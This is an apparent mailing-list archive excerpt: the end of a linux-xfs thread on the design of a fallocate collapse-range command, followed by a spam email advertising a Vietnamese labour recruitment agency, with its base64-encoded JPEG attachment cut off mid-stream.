out of the way - then we can just add a new FALLOC_FL_INSERT_RANGE > > command to do that. > > > > But in the absence of anyone needing such functionality, the > > complexity of implementing it is not worth the effort. > > Yes, it's not a requirement that it be implemented immediately. > > > > > > I should mention that when "we" implemented this thirty years ago, > > > we had a strong conviction that the system call should be idempotent: > > > that is, the len argument should indicate the final i_size, not the > > > amount being removed from it. Now, I don't remember the grounds for > > > that conviction: maybe it was just an idealistic preference for how > > > to design a good system call. I can certainly see that defining it > > > that way round would surprise many app programmers. Just mentioning > > > this in case anyone on these lists sees a practical advantage to > > > doing it that way instead. > > > > I don't see how specifying the end file size as an improvement. What > > happens if you are collapse a range in a file that is still being > > appended to by the application and so you race with a file size > > update? IOWs, with such an API the range to be collapsed is > > completely unpredictable, and IMO that's a fundamentally broken API. > > That's fine if you don't see the idempotent API as an improvement, > I just wanted to put it on the table in case someone does see an > advantage to it. But I think I'm missing something in your race > example: I don't see a difference between the two APIs there. Userspace can't sample the inode size via stat(2) and then use the value for a syscall atomically. i.e. if you specify the offset you want to collapse at, and the file size you want to have to define the region to collapse, then the length you need to collapse is (current inode size - end file size). If "current inode size" can change between the stat(2) and fallocate() call (and it can), then the length being collapsed is indeterminate.... > > > I see you've included xfstests and xfs_io updates, nice. Did you > > > realize that util-linux has a /usr/bin/fallocate? I hope someone > > > will update that too. > > > > I don't care about /usr/bin/fallocate - I've never used it in my > > life because xfs_io exists on all my systems and is way more > > powerful and useful to me than /usr/bin/fallocate. Regardless, > > I think someone posted patches for it yesterday. > > Your scorn is noted: yes, it is pretty simple, > but I'm glad to hear Dongsu is attending to it. Not scorn - "don't care" was careless phrasing. What I was trying to say is that fallocate is not really relevant for testing filesystem implementations as you need a bunch more functionality to be able to test the syscall and filesystems adequately..... Cheers, Dave. > > Hugh > -- Dave Chinner david@fromorbit.com From vietnamrecruit123@gmail.com Wed Feb 26 00:51:41 2014 Return-Path: X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id E5CB37F37 for ; Wed, 26 Feb 2014 00:51:40 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id BC7498F8073 for ; Tue, 25 Feb 2014 22:51:40 -0800 (PST) X-ASG-Debug-ID: 1393397498-04cb6c5677490e0001-w1Z2WR Received: from mail-yk0-f194.google.com (mail-yk0-f194.google.com [209.85.160.194]) by cuda.sgi.com with ESMTP id B6Uy4382DYpWcXq2 (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Tue, 25 Feb 2014 22:51:39 -0800 (PST) X-Barracuda-Envelope-From: vietnamrecruit123@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.160.194 X-Barracuda-IPDD: Level1 [gmail.com/209.85.160.194] Received: by mail-yk0-f194.google.com with SMTP id 9so306571ykp.1 for ; Tue, 25 Feb 2014 22:51:38 -0800 (PST) X-Barracuda-IPDD: Level1 [gmail.com/209.85.160.194] X-Barracuda-IPDD: Level1 [gmail.com/209.85.160.194] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:date:message-id:subject:from:to:content-type; bh=jvah7f/VYq94FxO2MFw0WjIuTbNLFvO0P7Bdu+9w/dw=; b=WP43lXrtds7EKoyqJwbh1A45WKURA9ZEB51ZeBvS9zJtEaCiV0ECZWx27hnH4rlZQ0 8R9n6YcrS0kwG6zyxWVr8IF2PSvNaC9oGhZorFrfmtD+yBll6DoaCUH+xltJSx8X49qq lWu8NRL1Ug+QfjTF1cQ6XdWbZWNwMX/QP0XFWgF+sbRFpBT3aSYxBjviW4S8yUN/4Itg NkHY6B7FocxD5JcFq2BUOlOL0NkokES0D2khgE1ZjR91gS8ELofsaBFEe6DDQ6f5EbKj nhhVYVQPVzrA83Dry4EIb7n9F9rRxtGBj2a4nBEBAeFVXnAhO6oO9wVAcFrncbwVbR9A hZNw== MIME-Version: 1.0 X-Received: by 10.236.88.179 with SMTP id a39mr5144737yhf.83.1393397497927; Tue, 25 Feb 2014 22:51:37 -0800 (PST) Received: by 10.170.93.198 with HTTP; Tue, 25 Feb 2014 22:51:37 -0800 (PST) Date: Wed, 26 Feb 2014 13:21:37 +0630 Message-ID: Subject: Manpower Recruitment from Vietnam From: Viet Nam X-ASG-Orig-Subj: Manpower Recruitment from Vietnam To: undisclosed-recipients:; Content-Type: multipart/mixed; boundary=14dae9d2fb34e5c5df04f349a21e X-Barracuda-Connect: mail-yk0-f194.google.com[209.85.160.194] X-Barracuda-Start-Time: 1393397498 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Barracuda-BRTS-Status: 1 X-Barracuda-BRTS-Evidence: 05937753ed586b0c01671575c440c7cd-2049-txt X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: -1001.00 X-Barracuda-Spam-Status: No, SCORE=-1001.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 --14dae9d2fb34e5c5df04f349a21e Content-Type: multipart/alternative; boundary=14dae9d2fb34e5c5db04f349a21c --14dae9d2fb34e5c5db04f349a21c Content-Type: text/plain; charset=ISO-8859-1 Attn : General Manager Cc : Human Resources Manager Dear Sir / Ma'am, Greetings from Hanoi, Vietnam!!! We, warmly welcome you to Future Placement Services Co., Ltd. the most professional and reliable manpower recruitment agency based in Hanoi, the commercial capital of Vietnam, and is a wholly owned subsidiary of Viet Thang International Development Corporation registered under the Ministry of Labor War Invalid and Social Affairs. The principle objectives of our company are to facilitate the services of Vietnamese work force worldwide by accessing employment opportunities for them. We have a nation wide recruitment network and in-house testing facilities with all modern equipments where at one time can check around 200 construction workers and 60 welders. Having trusted reputation and extensive experience in recruitment for the last many years, we have the expertise to source what ever positions required. Our specialization is in supplying professionals, skilled, semi - skilled and unskilled workers. We have a separate division to source personals to work for oil, gas & petrochemical industry. Our success is based solidly on the ability to understand your manpower needs, and together with our highly qualified staff, comprising of high ranking engineers and technicians we out perform in sourcing the best quality of personnel's required to meet and exceed the clients highest expectation. We would like to be of service to you and will take pride in adding your name to the long list of our prestigious client's. We are just a click away from you, email to us your manpower needs and we will be more than pleased to assist you in your recruitment. Best Regards, *Nguyen Van Thanh* *Managing Partner* *Future Placement Svc's Co., Ltd.* * (Subsidiary of VTC Corp)* *P.O. Box: 406, Hanoi, Vietnam* *Tel : + 84 4 3540 1625* *Fax : + 84 4 3872 7250* *Mob : + 84 902 886 681 * *Email : vietnamrecruit786@gmail.com * --14dae9d2fb34e5c5db04f349a21c Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable

Attn  &nb= sp;  : General Manager

Cc   = ;    : Human Resources Manager

 

 

Dear Sir / Ma’am,

 

Greetings from Hanoi, Vietnam!!!

 

We, warmly welcome you to Future Placement Services Co., Ltd. the most professi= onal and reliable manpower recruitment agency based in Hanoi, the commercial cap= ital of Vietnam, and is a wholly owned subsidiary of Viet Thang International Development Corporation registered under the Ministry of Labor War Invalid = and Social Affairs.

 

The principle objectives of our company are to facilitate the services of Vietnamese work force worldwide by accessing employment opportunities for t= hem.

 

We have a nation wide recruitment network and in-house testing facilities with= all modern equipments where at one time can check around 200 construction worke= rs and 60 welders.

 

Having trusted reputation and e= xtensive experience in recruitment for the last many years, we have the expertise to source what ever positions required.

 

Our specialization is in supply= ing professionals, skilled, semi – skilled and unskilled workers.

 

We have a separate division to = source personals to work for oil, gas & petrochemical industry.

 

Our success is based solidly on= the ability to understand your manpower needs, and together with our highly qualified staff, comprising of high ranking engineers and technicians we ou= t perform in sourcing the best quality of personnel's required to meet an= d exceed the clients highest expectation. 

 

We would like to be of service = to you and will take pride in adding your name to the long list of our prestigious client's. 

   &= nbsp;

We are just a click away from y= ou, email to us your manpower needs and we will be more than pleased to assist = you in your recruitment.

 

 

Best Regards,

 

Nguyen = Van Thanh

Managin= g Partner

 

Future = Placement Svc's Co., Ltd.

 &nbs= p;           (Subsidiary of VTC Corp)

P.O. Box: 406, Hanoi, Vietnam

Tel &= nbsp;    : + 84 4 3540 1625

Fax &= nbsp;    : + 84 4 3872 7250

Mob &= nbsp;  : + 84 902 886 681

Email = ; : vietnamrecruit786= @gmail.com

--14dae9d2fb34e5c5db04f349a21c-- --14dae9d2fb34e5c5df04f349a21e Content-Type: image/jpeg; name="image.jpg" Content-Disposition: attachment; filename="image.jpg" Content-Transfer-Encoding: base64 X-Attachment-Id: f_hs48vkyp0 /9j/4AAQSkZJRgABAgEBLAEsAAD/4QycRXhpZgAATU0AKgAAAAgACAESAAMAAAABAAEAAAEaAAUA AAABAAAAbgEbAAUAAAABAAAAdgEoAAMAAAABAAIAAAExAAIAAAAcAAAAfgEyAAIAAAAUAAAAmgE7 AAIAAAAFAAAArodpAAQAAAABAAAAtAAAAOAALcbAAAAnEAAtxsAAACcQQWRvYmUgUGhvdG9zaG9w IENTMyBXaW5kb3dzADIwMTE6MTI6MTMgMTE6MTQ6NTYAVXNlcgAAAAOgAQADAAAAAQABAACgAgAE AAAAAQAAAQygAwAEAAAAAQAAADEAAAAAAAAABgEDAAMAAAABAAYAAAEaAAUAAAABAAABLgEbAAUA AAABAAABNgEoAAMAAAABAAIAAAIBAAQAAAABAAABPgICAAQAAAABAAALVgAAAAAAAABIAAAAAQAA AEgAAAAB/9j/4AAQSkZJRgABAgAASABIAAD/7QAMQWRvYmVfQ00AAf/uAA5BZG9iZQBkgAAAAAH/ 2wCEAAwICAgJCAwJCQwRCwoLERUPDAwPFRgTExUTExgRDAwMDAwMEQwMDAwMDAwMDAwMDAwMDAwM DAwMDAwMDAwMDAwBDQsLDQ4NEA4OEBQODg4UFA4ODg4UEQwMDAwMEREMDAwMDAwRDAwMDAwMDAwM DAwMDAwMDAwMDAwMDAwMDAwMDP/AABEIAB0AoAMBIgACEQEDEQH/3QAEAAr/xAE/AAABBQEBAQEB AQAAAAAAAAADAAECBAUGBwgJCgsBAAEFAQEBAQEBAAAAAAAAAAEAAgMEBQYHCAkKCxAAAQQBAwIE AgUHBggFAwwzAQACEQMEIRIxBUFRYRMicYEyBhSRobFCIyQVUsFiMzRygtFDByWSU/Dh8WNzNRai soMmRJNUZEXCo3Q2F9JV4mXys4TD03Xj80YnlKSFtJXE1OT0pbXF1eX1VmZ2hpamtsbW5vY3R1dn d4eXp7fH1+f3EQACAgECBAQDBAUGBwcGBTUBAAIRAyExEgRBUWFxIhMFMoGRFKGxQiPBUtHwMyRi 4XKCkkNTFWNzNPElBhaisoMHJjXC0kSTVKMXZEVVNnRl4vKzhMPTdePzRpSkhbSVxNTk9KW1xdXl 9VZmdoaWprbG1ub2JzdHV2d3h5ent8f/2gAMAwEAAhEDEQA/AOr+sl+FltdW7LZjjG3eo6121oO4 And/Jc301gZGN1FuHlYm19eJcWXMeaLHOc9uxjGst9RlP2d79n6d6wPrB1G3M6j1Cix59GnMsNbX wdpFj6LHezZ7HtbsZV+Yoftr7N0yrGqhjq4LbAJc2Hb9jHbvo/uV/mJpA62kRVl4V1Vr2ZAdTYyC WmdJ9zf89vuUcjByMNza8jaLHNFga2xr4a7jd6L37H/yXKWXnWXVszH2eptY2Rq4GOBtduds3f4P 6C178TG6h0gury8cZPTa3WPOxlVtwI3Nx6qseyxvpuedldn+k/wabXQfRddOEZGgJDu2v46LT6dl 3Y3Ud4O3a9rXRpw1o/s/SWx036hjN6Zj5P20tyLWCwsDWPqaSJdTurd7vTd7H2Vv9NU39Fy8DJGL msDX7y9padzXM+hXY0/u7G/nfzaIgbFjdbKQovX/ALUoZjfaLnQ0DgauJ/drr/Ocs9xy+p+/qFzM HCe9raMB79hsdwz7Vaxu5zbXWN/Vv9IqzWMYBAJ28cLP6ve4Mr9Z5bVTfVfUxgDnu2b/AFa2sP8A Neo70/09jlJk5EQ9Ql6Td/1ewWjmCdCNdPqrqdnXOp3uw8St9PT6S5lgw7KrbS5vs9Nn2ayxrb2f 6K308bF/wqoWXt6c37O2jdY3cwYzmuGPS2z2OpNlgbd1HMsf78nL/wANb/hfQ9ihWG51u3JLMfEL y99NbSe+97HX1s3u3bt93+ifZ9otWj1TrOF0qo14uTkuuLg+qbYG386vY79E1n7l2z6CiEccfSAa /wAb/GXes6kj8nOfVcwPyOo3w6sBpDnDa0fmtd6c11M1/RY9H8+gNuzOpWtay1+N0zdsdc8/pL3N 932bEYx3u2t+kz+Zp/7Vf4OlDz2PzMinK6j6luO4A4PTmMrosuJ925zcJz2U4vu/SZzv1q6v9FV/ wdwv+yOa7O213uYGVitoZVTX+bi47P8AAVN+l/wn+E/SKSMSdz9StlIVp+DvVV32tf6Nb7BUBv2A v2j+WWINuSK27iSRE6Tx4qx0nAyn9MuyMduO+pzT6ZtNoe4j3O9L0HNb9H+b9vqPsQs/GxKaD6tl zGiA+uyoNv2bN+6um0+u73+zeyv0PzP55W5cz80RpIfL/WYvZlQlXFHrw68P9/8AdcLM65ZB2PO0 naGztcT/AORVA9VzT9F58I38E+f5y0eq9Bpx8Wu7CvfmPyQ1zaQ0utbU4c3emxrqN3/CV/8ABrAv 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 ADUAAAABAC0AAAAGAAAAAAABOEJJTQP4AAAAAABwAAD/////////////////////////////A+gA AAAA/////////////////////////////wPoAAAAAP////////////////////////////8D6AAA AAD/////////////////////////////A+gAADhCSU0EAAAAAAAAAgAAOEJJTQQCAAAAAAACAAA4 QklNBDAAAAAAAAEBADhCSU0ELQAAAAAABgABAAAAAjhCSU0ECAAAAAAAEAAAAAEAAAJAAAACQAAA AAA4QklNBB4AAAAAAAQAAAAAOEJJTQQaAAAAAAM3AAAABgAAAAAAAAAAAAAAMQAAAQwAAAABADIA AAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAQwAAAAxAAAAAAAAAAAAAAAAAAAAAAEA AAAAAAAAAAAAAAAAAAAAAAAAEAAAAAEAAAAAAABudWxsAAAAAgAAAAZib3VuZHNPYmpjAAAAAQAA AAAAAFJjdDEAAAAEAAAAAFRvcCBsb25nAAAAAAAAAABMZWZ0bG9uZwAAAAAAAAAAQnRvbWxvbmcA AAAxAAAAAFJnaHRsb25nAAABDAAAAAZzbGljZXNWbExzAAAAAU9iamMAAAABAAAAAAAFc2xpY2UA AAASAAAAB3NsaWNlSURsb25nAAAAAAAAAAdncm91cElEbG9uZwAAAAAAAAAGb3JpZ2luZW51bQAA AAxFU2xpY2VPcmlnaW4AAAANYXV0b0dlbmVyYXRlZAAAAABUeXBlZW51bQAAAApFU2xpY2VUeXBl AAAAAEltZyAAAAAGYm91bmRzT2JqYwAAAAEAAAAAAABSY3QxAAAABAAAAABUb3AgbG9uZwAAAAAA AAAATGVmdGxvbmcAAAAAAAAAAEJ0b21sb25nAAAAMQAAAABSZ2h0bG9uZwAAAQwAAAADdXJsVEVY VAAAAAEAAAAAAABudWxsVEVYVAAAAAEAAAAAAABNc2dlVEVYVAAAAAEAAAAAAAZhbHRUYWdURVhU AAAAAQAAAAAADmNlbGxUZXh0SXNIVE1MYm9vbAEAAAAIY2VsbFRleHRURVhUAAAAAQAAAAAACWhv cnpBbGlnbmVudW0AAAAPRVNsaWNlSG9yekFsaWduAAAAB2RlZmF1bHQAAAAJdmVydEFsaWduZW51 bQAAAA9FU2xpY2VWZXJ0QWxpZ24AAAAHZGVmYXVsdAAAAAtiZ0NvbG9yVHlwZWVudW0AAAARRVNs aWNlQkdDb2xvclR5cGUAAAAATm9uZQAAAAl0b3BPdXRzZXRsb25nAAAAAAAAAApsZWZ0T3V0c2V0 bG9uZwAAAAAAAAAMYm90dG9tT3V0c2V0bG9uZwAAAAAAAAALcmlnaHRPdXRzZXRsb25nAAAAAAA4 QklNBCgAAAAAAAwAAAABP/AAAAAAAAA4QklNBBQAAAAAAAQAAAACOEJJTQQMAAAAAAtyAAAAAQAA AKAAAAAdAAAB4AAANmAAAAtWABgAAf/Y/+AAEEpGSUYAAQIAAEgASAAA/+0ADEFkb2JlX0NNAAH/ 7gAOQWRvYmUAZIAAAAAB/9sAhAAMCAgICQgMCQkMEQsKCxEVDwwMDxUYExMVExMYEQwMDAwMDBEM DAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMAQ0LCw0ODRAODhAUDg4OFBQODg4OFBEMDAwMDBER DAwMDAwMEQwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAz/wAARCAAdAKADASIAAhEBAxEB/90A BAAK/8QBPwAAAQUBAQEBAQEAAAAAAAAAAwABAgQFBgcICQoLAQABBQEBAQEBAQAAAAAAAAABAAID BAUGBwgJCgsQAAEEAQMCBAIFBwYIBQMMMwEAAhEDBCESMQVBUWETInGBMgYUkaGxQiMkFVLBYjM0 coLRQwclklPw4fFjczUWorKDJkSTVGRFwqN0NhfSVeJl8rOEw9N14/NGJ5SkhbSVxNTk9KW1xdXl 9VZmdoaWprbG1ub2N0dXZ3eHl6e3x9fn9xEAAgIBAgQEAwQFBgcHBgU1AQACEQMhMRIEQVFhcSIT BTKBkRShsUIjwVLR8DMkYuFygpJDUxVjczTxJQYWorKDByY1wtJEk1SjF2RFVTZ0ZeLys4TD03Xj 80aUpIW0lcTU5PSltcXV5fVWZnaGlqa2xtbm9ic3R1dnd4eXp7fH/9oADAMBAAIRAxEAPwDq/rJf hZbXVuy2Y4xt3qOtdtaDuAJ3fyXN9NYGRjdRbh5WJtfXiXFlzHmixznPbsYxrLfUZT9ne/Z+nesD 6wdRtzOo9QosefRpzLDW18HaRY+ix3s2ex7W7GVfmKH7a+zdMqxqoY6uC2wCXNh2/Yx276P7lf5i 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 9+/1f3FCCLs3xVrp+n/d9K8j00O/f9Hvf73+C0cuk17LMbqvoveP0THZDKS4GLBVdW8+s6v3t/Vr PZ+k+h+kWVc/HsZuyqm3NprI/V21kl5dtda69m2+233Pc/8AnKrf0f0FvZDvqwMW79tV4Lr97d+y xwvNvs9f1NlLstuTu2ev9l/M+h+eq+W7oZ6gfsVb23yZNNlrqxZPv2erUyp1W76aAI4tq+iaIjvb n9JfgU2PycGh+LlOc7Fw7XEsHq2t/R7HW+o6u36Nf6L37Lv8GjZP1f8AqpQHi7qd9mcXlrOnY9Lv UDj73V/ZbgzIb9L+fvfjUKdowfs9XqGv0Nv6HcNNv/Ba7t3/AE0TqAt/ZlX212ScHX0tzYdtgc+o 82/Zv9F636spZwiDpKJ/uojI9RL6uB9gxWkXYxNV1RDg2w7mafS/S1y1/wDYetLNta/FrqNL3mzY WuaRq0Bz4v8A0b/0rd/6LZ7/APSfzaO37F9kZvA9PcNuvv8Ao+fu2f1fz/5tGb+z4H2ciNdsDT+V t1UcMYkfVOMfMplMjaJL/9k4QklNBCEAAAAAAFUAAAABAQAAAA8AQQBkAG8AYgBlACAAUABoAG8A dABvAHMAaABvAHAAAAATAEEAZABvAGIAZQAgAFAAaABvAHQAbwBzAGgAbwBwACAAQwBTADMAAAAB ADhCSU0EBgAAAAAABwABAAAAAQEA/+EQQGh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8APD94 cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4gPHg6eG1w bWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iQWRvYmUgWE1QIENvcmUgNC4x LWMwMzYgNDYuMjc2NzIwLCBNb24gRmViIDE5IDIwMDcgMjI6NDA6MDggICAgICAgICI+IDxyZGY6 UkRGIHhtbG5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5z IyI+IDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHhtbG5zOnBkZj0iaHR0cDovL25zLmFk b2JlLmNvbS9wZGYvMS4zLyIgeG1sbnM6eGFwPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAv IiB4bWxuczpkYz0iaHR0cDovL3B1cmwub3JnL2RjL2VsZW1lbnRzLzEuMS8iIHhtbG5zOnhhcE1N PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvbW0vIiB4bWxuczpwaG90b3Nob3A9Imh0dHA6 Ly9ucy5hZG9iZS5jb20vcGhvdG9zaG9wLzEuMC8iIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9i 